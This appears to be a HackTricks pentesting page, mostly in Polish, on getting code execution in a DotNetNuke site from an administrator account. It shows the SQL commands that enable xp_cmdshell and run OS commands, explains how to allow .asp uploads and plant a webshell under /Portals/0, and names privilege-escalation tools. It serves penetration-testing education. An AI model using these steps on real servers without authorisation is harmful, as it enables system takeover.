DotNetNuke (DNN)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

DotNetNuke (DNN)

Jeśli zalogujesz się jako administrator w DNN, łatwo uzyskać RCE.

RCE

Via SQL

Konsola SQL jest dostępna na stronie Settings, gdzie możesz włączyć xp_cmdshell i uruchamiać polecenia systemu operacyjnego.

Użyj tych linii, aby włączyć xp_cmdshell:

EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

I naciśnij "Run Script", aby uruchomić te zapytania SQL.

Następnie użyj czegoś takiego, aby uruchomić polecenia systemowe:

xp_cmdshell 'whoami'

Via ASP webshell

W Ustawienia -> Bezpieczeństwo -> Więcej -> Więcej ustawień zabezpieczeń możesz dodać nowe dozwolone rozszerzenia w sekcji Dozwolone rozszerzenia plików, a następnie klikając przycisk Zapisz.

Dodaj asp lub aspx, a następnie w /admin/file-management prześlij asp webshell o nazwie shell.asp, na przykład.

Następnie uzyskaj dostęp do /Portals/0/shell.asp, aby uzyskać dostęp do swojego webshella.

Privilege Escalation

Możesz eskalować uprawnienia używając na przykład Potatoes lub PrintSpoofer.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.